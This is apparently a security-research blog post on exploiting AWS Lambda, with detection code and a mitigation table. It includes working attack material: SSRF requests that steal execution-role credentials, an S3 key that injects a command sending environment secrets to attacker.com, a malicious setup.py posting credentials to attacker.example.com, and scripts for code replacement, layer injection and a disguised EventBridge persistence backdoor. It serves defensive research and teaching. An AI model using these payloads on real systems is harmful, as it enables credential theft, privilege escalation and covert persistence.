Back to Blog
Adversarial Machine Learning

Exploiting Serverless Architectures: Vulnerability Research in AWS Lambda

OffSec Research Team
10 June 2026 • 09:00 AM15 min
Exploiting Serverless Architectures: Vulnerability Research in AWS Lambda
TL;DR — AWS Lambda's event-driven, ephemeral execution model introduces attack surfaces that differ fundamentally from traditional application servers. Attackers with partial foothold in a serverless environment can steal execution role credentials via SSRF to the Instance Metadata Service, escalate privileges by replacing function code or injecting malicious Lambda Layers, and achieve persistent execution through EventBridge rule injection. This post covers every major Lambda attack class with working code examples, privilege escalation chains, and detection guidance.

Executive Summary

Serverless computing promised to eliminate the operational burden of managing servers and reduce the infrastructure attack surface. In practice, AWS Lambda shifts rather than removes the attack surface — from OS-level exploitation toward IAM privilege abuse, supply chain risk in function dependencies, and novel persistence mechanisms that bypass traditional endpoint defenses entirely.

Lambda functions run in ephemeral microVM environments (Firecracker-based) isolated at the hypervisor level. They receive events from dozens of AWS services, execute business logic, and terminate. Each execution may run in a fresh environment or reuse a warm container. They carry IAM execution roles with access to S3, DynamoDB, Secrets Manager, RDS, and other services. They often receive untrusted external data — HTTP request bodies from API Gateway, object keys from S3 event notifications, message bodies from SQS.

This combination — privileged IAM identities processing untrusted data in a networked environment — creates a rich attack surface that many development teams underestimate because "there's no server to compromise."

This post provides a practitioner-level analysis of Lambda exploitation, organized by attack class: SSRF for credential theft, injection vulnerabilities, dependency confusion, privilege escalation via IAM, Layer injection for persistence, and EventBridge-based scheduled execution.


Lambda Execution Architecture

Understanding the attack surface requires understanding the execution environment.

diagram — rendering…
flowchart TD
    subgraph Internet
        EXT[External Attacker / User]
    end

    subgraph AWS Account
        APIGW[API Gateway\nHTTP endpoint]
        S3EVT[S3 Event\nObject created]
        SQS[SQS Queue\nMessage body]
        SNS[SNS Topic\nNotification payload]

        subgraph Lambda Execution Environment
            FUNC[Function Code\n/var/task/]
            ENV[Environment Variables\nDB_PASSWORD, API_KEY, etc.]
            TMP[/tmp filesystem\n512MB ephemeral storage]
            EXT_LIB[Lambda Layers\n/opt/lib/]
            ROLE[Execution Role IAM\nCredentials via IMDS]
        end

        IMDS[Instance Metadata Service\n169.254.169.254]
        VPC[VPC Resources\nRDS, ElastiCache]
        SM[Secrets Manager]
        S3[S3 Buckets]
        DDB[DynamoDB]
    end

    EXT --> APIGW
    EXT --> S3EVT
    APIGW --> FUNC
    S3EVT --> FUNC
    SQS --> FUNC
    SNS --> FUNC
    FUNC --> IMDS
    FUNC --> VPC
    FUNC --> SM
    FUNC --> S3
    FUNC --> DDB
    ENV -.->|plaintext in memory| FUNC
    EXT_LIB -.->|dependency| FUNC
    ROLE -.->|credentials| IMDS

The execution role credentials are available via the Lambda-specific metadata endpoint. Unlike EC2 where IMDSv2 is the recommended hardening, Lambda uses a different mechanism: credentials are exposed via the AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN environment variables, injected at invocation time. They are also available via http://169.254.169.254/latest/meta-data/iam/security-credentials/ when the function runs in a VPC with appropriate routing, or via http://169.254.170.2 (the Lambda-specific container credentials endpoint).


SSRF to IMDSv1 Credential Theft

A Lambda function that makes outbound HTTP requests based on user-controlled input is vulnerable to Server-Side Request Forgery (SSRF). The classic target is the Instance Metadata Service (IMDS) at 169.254.169.254, which exposes the execution role's temporary credentials.

Vulnerable Lambda Pattern

python
# VULNERABLE Lambda function — DO NOT deployimport jsonimport urllib.request def lambda_handler(event, context):    """    Fetches a URL provided by the caller. Vulnerable to SSRF.    Common in image proxies, link preview generators, webhook validators.    """    url = event.get('url', '')        # No validation of the URL scheme, host, or IP range    try:        with urllib.request.urlopen(url, timeout=5) as response:            body = response.read().decode('utf-8')        return {            'statusCode': 200,            'body': body        }    except Exception as e:        return {            'statusCode': 500,            'body': str(e)        }

An attacker invoking this function with the following payload retrieves the execution role's credentials:

json
{  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

The first request returns the role name. A second request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME returns a JSON object containing AccessKeyId, SecretAccessKey, and Token — valid AWS credentials with the same permissions as the Lambda execution role.

For Lambda functions specifically, an alternative endpoint is http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} — this endpoint is populated by the Lambda runtime and does not require routing through the IMDS proxy.

bash
# Exfiltrating Lambda credentials via SSRF (attacker-controlled payload)# Step 1: Get role namecurl "https://api.victim.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"# Returns: "LambdaExecutionRole-DataProcessor" # Step 2: Get credentials  curl "https://api.victim.com/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/LambdaExecutionRole-DataProcessor"# Returns: {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"...","Expiration":"..."} # Step 3: Use credentials from attacker machineexport AWS_ACCESS_KEY_ID="ASIA..."export AWS_SECRET_ACCESS_KEY="..."export AWS_SESSION_TOKEN="..."aws sts get-caller-identity

The resulting credentials expire when the Lambda execution environment is recycled (typically within 15 minutes to 12 hours depending on invocation frequency), but are refreshed by the Lambda service on each invocation — an attacker with ongoing SSRF can repeatedly refresh the stolen credentials.


Command Injection in Shell-Invoking Lambda Functions

Lambda functions that construct shell commands from event data are vulnerable to OS command injection. This is particularly prevalent in data processing functions that invoke image conversion tools (ffmpeg, ImageMagick), PDF processors, or archive utilities.

python
# VULNERABLE — command injection via subprocess with shell=Trueimport subprocessimport boto3import os def lambda_handler(event, context):    """    Image thumbnail generator. Receives S3 object key from event.    VULNERABLE: object key is interpolated directly into shell command.    """    s3_key = event['Records'][0]['s3']['object']['key']    bucket = event['Records'][0]['s3']['bucket']['name']        input_path = f"/tmp/{os.path.basename(s3_key)}"    output_path = f"/tmp/thumb_{os.path.basename(s3_key)}"        # Download the file    boto3.client('s3').download_file(bucket, s3_key, input_path)        # VULNERABLE: s3_key contains attacker-controlled data    cmd = f"convert {input_path} -resize 200x200 {output_path}"    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)        return {'statusCode': 200, 'output': result.stdout}

An attacker who can upload an S3 object with a malicious key name can achieve command execution:

shell
# Attacker uploads an object with key:image.jpg; curl http://attacker.com/$(env | base64 -w0);echo .jpg # This causes the Lambda to execute:convert /tmp/image.jpg; curl http://attacker.com/$(env | base64 -w0);echo .jpg -resize 200x200 ...# The env output (including AWS credentials) is base64-encoded and sent to attacker

The Lambda execution environment exposes AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, and other environment variables — all exfiltrated via this single command injection.


Dependency Confusion and Supply Chain Risk in Lambda Layers

Lambda Layers provide a mechanism for sharing dependencies across functions. An organization that uses internal PyPI or npm registries is vulnerable to dependency confusion attacks if the package names used internally also exist in the public registry.

The attack vector: an attacker registers a package on PyPI with the same name as an internal package but a higher version number. When a Lambda deployment pipeline installs dependencies without pinning to the internal registry, pip resolves to the public (malicious) package.

python
# Malicious package setup.py that would steal Lambda credentials# This illustrates the attack pattern described in Bogner's 2021 research import osimport subprocessimport setuptools def exfiltrate():    """Called during package installation — runs in CI/CD or Lambda build context."""    creds = {        'access_key': os.environ.get('AWS_ACCESS_KEY_ID', ''),        'secret_key': os.environ.get('AWS_SECRET_ACCESS_KEY', ''),        'session_token': os.environ.get('AWS_SESSION_TOKEN', ''),        'region': os.environ.get('AWS_DEFAULT_REGION', ''),    }    # Exfiltrate to attacker-controlled server during pip install    import urllib.request    import json    urllib.request.urlopen(        'https://attacker.example.com/collect',        data=json.dumps(creds).encode()    ) exfiltrate()  # Runs at import time during installation setuptools.setup(    name='internal-company-utils',  # Shadows internal package name    version='9.9.9',                # Higher than internal version    ...)

The defense requires configuring pip with --index-url pointing exclusively to the internal registry, combined with --no-index to prevent fallback to PyPI, and pinning all dependencies to exact versions with hash verification.


Lambda Privilege Escalation Chains

Lambda privilege escalation exploits gaps in IAM permission models that arise when an attacker has partial access to Lambda management APIs. Several escalation paths are documented in research by Rhino Security Labs and others.

diagram — rendering…
flowchart LR
    subgraph "Privilege Escalation Paths"
        A[Attacker IAM\nLimited permissions]
        
        subgraph "Path 1: Code Replacement"
            P1A[lambda:UpdateFunctionCode]
            P1B[Upload malicious ZIP\nreplacing function code]
            P1C[Execute with original\nhigh-privilege role]
        end

        subgraph "Path 2: Layer Injection"
            P2A[lambda:UpdateFunctionConfiguration]
            P2B[Attach malicious Layer\ncontaining overriding module]
            P2C[Layer loaded before\nfunction code]
        end

        subgraph "Path 3: PassRole + CreateFunction"
            P3A[iam:PassRole\nlambda:CreateFunction]
            P3B[Create new function\nwith privileged role]
            P3C[Invoke to execute\narbitrary code as role]
        end

        subgraph "Path 4: Environment Variable Injection"
            P4A[lambda:UpdateFunctionConfiguration]
            P4B[Inject LD_PRELOAD or\nPYTHONPATH env var]
            P4C[Next invocation loads\nattacker shared library]
        end
    end

    A --> P1A
    A --> P2A
    A --> P3A
    A --> P4A
    P1A --> P1B --> P1C
    P2A --> P2B --> P2C
    P3A --> P3B --> P3C
    P4A --> P4B --> P4C

Path 1: UpdateFunctionCode

An attacker with lambda:UpdateFunctionCode can replace any Lambda function's deployment package. The replacement runs with the function's existing execution role — which may be significantly more privileged than the attacker's own IAM permissions.

python
import boto3import zipfileimport io def replace_function_code(    lambda_client,    function_name: str,    payload_code: str) -> None:    """    Replaces Lambda function code with a privileged payload.    Requires only lambda:UpdateFunctionCode.    """    # Create in-memory ZIP with malicious function    zip_buffer = io.BytesIO()    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:        zf.writestr('lambda_function.py', payload_code)    zip_buffer.seek(0)     lambda_client.update_function_code(        FunctionName=function_name,        ZipFile=zip_buffer.read()    )    print(f"[+] Replaced function code for {function_name}")  MALICIOUS_PAYLOAD = '''import boto3import jsonimport os def lambda_handler(event, context):    """    Executes with the original function's execution role.    Exfiltrates all IAM-accessible resources.    """    sts = boto3.client("sts")    identity = sts.get_caller_identity()        # Enumerate S3 buckets accessible to this role    s3 = boto3.client("s3")    buckets = [b["Name"] for b in s3.list_buckets().get("Buckets", [])]        # Enumerate Secrets Manager secrets    sm = boto3.client("secretsmanager")    secrets = []    paginator = sm.get_paginator("list_secrets")    for page in paginator.paginate():        secrets.extend([s["Name"] for s in page.get("SecretList", [])])        return {        "statusCode": 200,        "identity": identity,        "accessible_buckets": buckets,        "accessible_secrets": secrets,        "env_vars": dict(os.environ)    }'''

Path 2: Layer Injection via UpdateFunctionConfiguration

Lambda Layers are mounted at /opt. Python Lambda functions include /opt/python in sys.path before /var/task. An attacker who can add a Layer can override any Python module the function imports — including boto3, json, or a custom internal module.

python
def inject_malicious_layer(lambda_client, function_name: str, malicious_layer_arn: str) -> None:    """    Prepends a malicious Layer to a function's layer list.    The Layer's Python modules shadow the function's own imports.    Requires: lambda:UpdateFunctionConfiguration    """    # Get existing layers    func_config = lambda_client.get_function_configuration(FunctionName=function_name)    existing_layers = [l['Arn'] for l in func_config.get('Layers', [])]        # Prepend malicious layer (loaded first, wins import resolution)    new_layers = [malicious_layer_arn] + existing_layers        lambda_client.update_function_configuration(        FunctionName=function_name,        Layers=new_layers    )    print(f"[+] Injected layer {malicious_layer_arn} into {function_name}")

The malicious Layer contains a boto3/ directory with a modified __init__.py that first exfiltrates credentials before delegating to the real boto3 — completely transparent to the function code.


EventBridge Rule Injection for Scheduled Persistence

Lambda persistence — ensuring code continues to execute even if the original function is restored — can be achieved through EventBridge (CloudWatch Events). An attacker with events:PutRule and events:PutTargets can create a scheduled rule that invokes a Lambda function they control on any cron schedule.

python
import boto3 def establish_lambda_persistence(    events_client,    lambda_client,    target_function_name: str,    schedule_expression: str = 'rate(5 minutes)') -> str:    """    Creates an EventBridge scheduled rule targeting a Lambda function.    Provides persistent execution every N minutes.    Requires: events:PutRule, events:PutTargets, lambda:AddPermission    """    rule_name = 'SecurityHealthCheck'  # Benign-looking name     # Create the scheduled rule    rule_response = events_client.put_rule(        Name=rule_name,        ScheduleExpression=schedule_expression,        State='ENABLED',        Description='Automated security health monitoring',  # Deceptive description    )    rule_arn = rule_response['RuleArn']     # Get function ARN    func_config = lambda_client.get_function_configuration(        FunctionName=target_function_name    )    function_arn = func_config['FunctionArn']     # Add EventBridge as a trigger    lambda_client.add_permission(        FunctionName=target_function_name,        StatementId='EventBridgePersistenceInvoke',        Action='lambda:InvokeFunction',        Principal='events.amazonaws.com',        SourceArn=rule_arn,    )     # Set function as target    events_client.put_targets(        Rule=rule_name,        Targets=[{            'Id': 'PersistentBackdoor',            'Arn': function_arn,            'Input': json.dumps({'mode': 'collect'})        }]    )     return rule_arn

This technique is particularly stealthy because EventBridge rules are not visible in the Lambda function's configuration console view — they must be discovered by querying EventBridge separately.


Container Image Lambda Vulnerabilities

Lambda functions packaged as container images expand the attack surface to include container image vulnerabilities. The container image is pulled from Amazon ECR, and its Dockerfile may introduce:

  • Outdated base images with known CVEs in the OS packages
  • Secrets baked into image layers (common when COPY .env /app/.env appears in history)
  • Over-privileged entrypoints that execute as root within the container
  • Unvalidated external dependencies in multi-stage builds
bash
# Auditing a Lambda container image for common issuesIMAGE="123456789012.dkr.ecr.us-east-1.amazonaws.com/my-lambda:latest" # Pull and inspect for secrets in layer historyaws ecr get-login-password | docker login --username AWS --password-stdin \    123456789012.dkr.ecr.us-east-1.amazonaws.com docker pull "$IMAGE" # Check for secrets in environment variables baked into imagedocker inspect "$IMAGE" | python3 -c "import json, sysdata = json.load(sys.stdin)env_vars = data[0].get('Config', {}).get('Env', [])sensitive_patterns = ['PASSWORD', 'SECRET', 'KEY', 'TOKEN', 'CREDENTIAL']for var in env_vars:    if any(p in var.upper() for p in sensitive_patterns):        print(f'[!] Potential secret in image ENV: {var.split(\"=\")[0]}')" # Scan all layers for secrets using trufflehogdocker save "$IMAGE" | trufflehog --json docker -

VPC Flow Logs and Unexpected IMDS Access Detection

Detection of Lambda exploitation requires monitoring three distinct data sources: CloudTrail (API-level activity), VPC Flow Logs (network-level activity for VPC-attached functions), and Lambda function logs (application-level anomalies).

python
import boto3import refrom datetime import datetime, timezone, timedelta def detect_lambda_imds_access(    logs_client,    function_name: str,    lookback_hours: int = 24) -> list:    """    Scans Lambda function CloudWatch Logs for IMDS access patterns.    Unexpected HTTP requests to 169.254.169.254 or 169.254.170.2    indicate SSRF exploitation or credential theft attempts.    """    log_group = f'/aws/lambda/{function_name}'    end_time = int(datetime.now(timezone.utc).timestamp() * 1000)    start_time = int((datetime.now(timezone.utc) - timedelta(hours=lookback_hours)).timestamp() * 1000)     imds_patterns = [        r'169\.254\.169\.254',        r'169\.254\.170\.2',        r'metadata\.google\.internal',  # In case of multi-cloud SSRF research        r'instance-data\.ec2\.internal',    ]     findings = []     paginator = logs_client.get_paginator('filter_log_events')    for page in paginator.paginate(        logGroupName=log_group,        startTime=start_time,        endTime=end_time,        filterPattern='169.254',  # CloudWatch Logs filter for fast pre-filtering    ):        for event in page.get('events', []):            message = event.get('message', '')            for pattern in imds_patterns:                if re.search(pattern, message):                    findings.append({                        'timestamp': datetime.fromtimestamp(                            event['timestamp'] / 1000, tz=timezone.utc                        ).isoformat(),                        'log_stream': event.get('logStreamName'),                        'message': message[:500],                        'matched_pattern': pattern,                    })                    break     return findings  def detect_suspicious_function_updates(cloudtrail_client, lookback_hours: int = 24) -> list:    """    Detects Lambda function code and configuration update events.    Sudden updates to functions that haven't been modified recently    may indicate code replacement or layer injection attacks.    """    end_time = datetime.now(timezone.utc)    start_time = end_time - timedelta(hours=lookback_hours)     suspicious = []    update_events = [        'UpdateFunctionCode',        'UpdateFunctionConfiguration',        'AddLayerVersionPermission',        'CreateEventSourceMapping',    ]     paginator = cloudtrail_client.get_paginator('lookup_events')    for event_name in update_events:        for page in paginator.paginate(            LookupAttributes=[{'AttributeKey': 'EventName', 'AttributeValue': event_name}],            StartTime=start_time,            EndTime=end_time        ):            for event in page.get('Events', []):                suspicious.append({                    'event_name': event_name,                    'event_time': event.get('EventTime').isoformat(),                    'username': event.get('Username'),                    'resources': [r.get('ResourceName') for r in event.get('Resources', [])],                })     return suspicious

Detection and Mitigation

Detective Controls

CloudTrail Lambda data events must be explicitly enabled — they are not captured by default. Enable Lambda:Invoke data event logging to detect mass invocations, unusual invocation patterns, or invocations from unexpected principals.

CloudWatch anomaly detection on Lambda invocation count, error rate, and duration can surface compromised functions being abused for lateral movement — an unusually long execution duration may indicate a shell running inside the function.

AWS Config rules can continuously evaluate Lambda function configurations against baselines: functions that suddenly acquire new Layers, functions whose execution roles change, or functions that gain new event source mappings all warrant review.

Preventive Controls

Attack ClassMitigationAWS Service
SSRF credential theftDisable IMDSv1; use IMDSv2 hop-limit=1 for EC2; for Lambda, there is no IMDSv2 toggle — mitigate at code level with URL allowlistingEC2 / Lambda code
Command injectionAvoid shell=True; use subprocess.run() with list arguments; validate and sanitize event dataLambda code review
Dependency confusionPin all dependencies to hashes; use --index-url to internal registry exclusively; enable AWS CodeArtifact domain policiesCodeArtifact
UpdateFunctionCode privilege escalationScope lambda:UpdateFunctionCode to specific function ARNs; require MFA for IAM operations; use SCPsIAM / Organizations
Layer injectionDeny lambda:UpdateFunctionConfiguration to application roles; use Lambda code signing to reject unsigned packagesLambda code signing
EventBridge persistenceMonitor events:PutRule CloudTrail events; inventory all EventBridge rules and their targets regularlyEventBridge / CloudTrail
Container image vulnerabilitiesScan images with Amazon Inspector or Trivy in CI/CD pipeline; use distroless base imagesAmazon Inspector

Lambda code signing is an underused control that cryptographically verifies deployment packages. By creating a code signing configuration requiring packages signed by a specific AWS Signer profile, Lambda rejects any UpdateFunctionCode call with an unsigned or incorrectly signed ZIP — neutralizing the code replacement privilege escalation path.


Conclusion

Lambda's security model demands a different mental model from traditional application security. There is no OS to harden, no network socket to firewall, and no persistent process to monitor — but the attack surface is real and in many cases more dangerous because it is less understood by development teams.

The highest-impact controls are: enforcing least-privilege execution roles with resource-level policies (not * on every action), enabling CloudTrail data events for Lambda invocations, implementing Lambda code signing to prevent unauthorized code replacement, and treating every event source (S3 object key, SQS message body, API Gateway request) as untrusted input subject to the same validation rigor as a web application.

The privilege escalation paths through lambda:UpdateFunctionCode and lambda:UpdateFunctionConfiguration are well-documented but consistently overlooked in IAM policy reviews. Every Lambda function's execution role should be audited not just for what it can access, but for which IAM principals can modify the function itself — because the path from lambda:UpdateFunctionCode to full account compromise can be executed in under five minutes.